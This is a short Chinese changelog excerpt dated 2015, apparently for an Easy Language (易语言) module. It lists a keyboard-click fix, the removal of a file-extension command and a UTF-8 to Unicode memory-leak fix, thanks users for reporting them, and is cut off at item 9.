2015-03-21 22:03:376、修正“键盘_单击”当参数2为空时,按下未放开的问题,感谢易友【seadty】反馈。 7、删除“文件_取扩展名1”命令。 8、修正“编码_Utf8到Unicode”频繁操作导致内存泄漏的BUG,感谢易友【◆野蛮vE儿】反馈。 9、...